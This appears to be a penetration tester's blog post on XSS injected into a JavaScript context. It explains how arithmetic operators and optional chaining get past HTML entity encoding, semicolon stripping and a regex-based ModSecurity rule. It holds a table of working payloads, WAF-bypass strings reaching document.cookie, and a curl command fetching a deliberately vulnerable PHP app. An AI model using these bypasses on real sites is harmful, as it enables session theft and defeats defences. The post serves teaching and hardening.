Using JavaScript Arithmetic Operators and Optional Chaining to bypass input validation, sanitization and HTML Entity Encoding when injection occurs in the JavaScript context. To know how to exploit an injection that could lead to an XSS vulnerability, it's important to understand in which context the injected payload must work.

In the HTML context, the injected payload it's different than what can be used in the JavaScript context.

Talking about JavaScript context, often developers use encoding functions as a quick and dirty way to sanitize untrusted user input (for example, converting "special" characters to HTML entities). It may appear a good injection killer to convert characters such as a single quote, double quotes, semicolon, etc... to their respective HTML entity codes, but in the JavaScript context it isn't always a good way to prevent stored or reflected XSS. Quoting the OWASP Cross Site Scripting Prevention Cheat Sheet:

HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the encode syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.

Vulnerable Application

During a test on a customer's web application, I found something very closed to the following code (it's more simplified than the original):

Here the developer used the PHP htmlentities function to sanitize the user input on $_GET['user'] converting special characters to HTML entities and using ENT_QUOTES flag to convert both single and double quotes (as you can see in the table below):

The strtr function removes all semicolon characters from the string. The sanitized input is then used inside a JavaScript function to do something.

You can find something similar in an awesome Labs by PortSwigger:

Cross-site scripting contexts | Web Security Academy
When testing for reflected and stored XSS, a key task is to identify the XSS context: The location within the response where attacker-controllable data ...

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped | Web Security Academy
This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert ...

If you want to run my vulnerable web application example, just copy and paste the command below and point your browser to http://localhost:9000 you should find it useful in order to test all the example payloads in this article.

curl -s 'https://gist.githubusercontent.com/theMiddleBlue/a098f37fbc08b47b2f2ddad8d1579b21/raw/103a1ccb2e46e22a35cc982a49a41b7d0/index.php' > index.php; php -S 0.0.0.0:9000

Injection

As you can guess, in my example the user arg is vulnerable to reflected XSS in JavaScript context. Without sanitization and validation of what a user put in the user arg, it would be possible to exploit a reflected XSS with a simple injection like /?user=foo');alert('XSS. There're two important things in this specific scenario:

  1. Due to the sanitization function, it isn't possible to "close" the JavaScript function myFunction and start a new function using the semicolon character (by injecting something like ');alert(' the semicolon character will be removed before printing it on the response body).
  2. Due to its context, the injected payload (even encoded by htmlentities) is decoded by the user's browser when clicking on the link. This means that the browser will decode the encoded single quote character.

Exploit using Arithmetic Operators

It is possible to exploit the XSS vulnerability in this specific JavaScript context without using any semicolon character by using JavaScript Arithmetic Operators, Bitwise Operators, Logical AND/OR Operators, etc... Consider the following example:

the first console.log function prints 1337, the difference between 1338 and 1. The second one returns NaN (Not a Number). As you can see in the screenshot, before returning NaN JavaScript executes alert(1) first and then performs the subtraction operation. We can use this condition to exploit the XSS vulnerability in our example to avoid using a semicolon.

The payload could be the following:

As you can see, the alert function went executed before the subtraction, and this means that we can execute any JavaScript function without using the sanitized semicolon character.

How many operators can be used to exploit XSS here?

Subtraction is not the only operator that you can use in this kind of exploit. Below you can find an incomplete list of operators with a working payload (when applicable) and an example that you can test in your JavaScript console by copy&paste it:

Operators Working Payloads Copy&Paste Example
Addition (+) foo')%2balert('a console.log('a'+alert(1))
Bitwise AND (&) N/A console.log('a'&alert(1))
Bitwise OR (|) foo')|alert('a console.log('a'|alert(1))
Bitwise XOR (^) foo')^alert('a console.log('a'^alert(1))
Comma operator (,) foo'),alert('a console.log('a',alert(1))
Conditional (ternary) operator foo')%3falert('a'):alert('b console.log('a'?alert(1):'')
Division (/) foo')/alert('a console.log('a'/alert(1))
Equality (==) foo')==alert('a console.log('a'==alert(1))
Exponentiation (**) foo')**alert('a console.log('a'**alert(1))
Greater/Less than (>/<) N/A console.log('a'>alert(1))
Greater/Less than or equal (>=|<=) N/A console.log('a'>=alert(1))
Inequality (!=) foo')!=alert('a console.log('a'!=alert(1))
Left/Right shift (>>|<<) N/A console.log('a'<<alert(1))
Logical AND (&&) N/A console.log('a'&&alert(1))
Logical OR (||) foo')||alert('a console.log(false||alert(1))
Multiplication (*) foo')*alert('a console.log('a'*alert(1))
Remainder (%) foo')%alert(' console.log('a'%alert(1))
Subtraction (-) foo')-alert(' console.log('a'-alert(1))
In Operator foo') in alert(' console.log('a' in alert(1))

In the specific case of our customer's web application, characters &, < and > are encoded by htmlentities so it prevents use of operators "Bitwise AND", "Greater/Less than" and "Greater/Less then or equal". All other operators can be used to leads user's browser to execute JavaScript functions. For example:

Exploit using Optional Chaining (?.)

Some Web Application Firewall Rule Set try to prevent XSS by validating untrusted user input against a list of JavaScript functions. Something like the following Regular Expression:

/(alert|eval|string|decodeURI|...)[(]/

As you can see, the first two syntaxes would be blocked by the WAF, but the last two don't match the regex. Indeed a really basic technique to bypass a weak rule is to insert white spaces or comment between the function name and the first round-bracket. If you use ModSecurity of course you know that is easy to fix this kind of bypass by using the transformation functions removeWhitespace (removes all whitespace characters from input) and removeCommentsChar (removes common comments chars such as: /*, */, --, #) as the following example:

SecRule ARGS "@rx /(alert|eval|string|decodeURI|...)[(]/" \
    "id:123,\
    t:removeWhitespace,\
    t:removeCommentsChar,\
    block"

Anyway it's possible to bypass this specific rule by using the optional chaining operator:

The optional chaining operator (?.) permits reading the value of a property located deep within a chain of connected objects without having to expressly validate that each reference in the chain is valid. The ?. operator functions similarly to the . chaining operator, except that instead of causing an error if a reference is nullish (null or undefined), the expression short-circuits with a return value of undefined. When used with function calls, it returns undefined if the given function does not exist.

Using this operator we can bypass the ModSecurity rule shown before, and the payload becomes something like this:

If you want to try it, open your browser JavaScript console and paste the following:

console.log('',alert?.('XSS'))

Used as payload on our vulnerable web application, we can exploit the XSS bypassing both HTML entities encoding and Web Application Firewall rule:

Moreover, this operator should be used to bypass other "bad word" based WAF rules such as document.cookie with document?.cookie. Following a list of examples that you can use and you can test on your browser console:

alert ?. (document ?. cookie)

self?.['al'+'ert'/* foo bar */]?.('XSS')

true in alert /* foo */ ?. /* bar */ (/XSS/)

1 * alert ?. (/* foo */'XSS'/* bar */)

true, alert ?. (...[/XSS/])

true in self ?. [/alert/.source](/XSS/)

self ?. [/alert/ ?. source ?. toString()](/XSS/)

Conclusion

Never ever HTML entity encode untrusted data to sanitize user input and don't make your own WAF rule to validate it. Use a security encoding library for your app and use the OWASP CRS as a Web Application Firewall Rule Set.

References

The awesome image used in this article is called Vader and was created by MasterfulMD.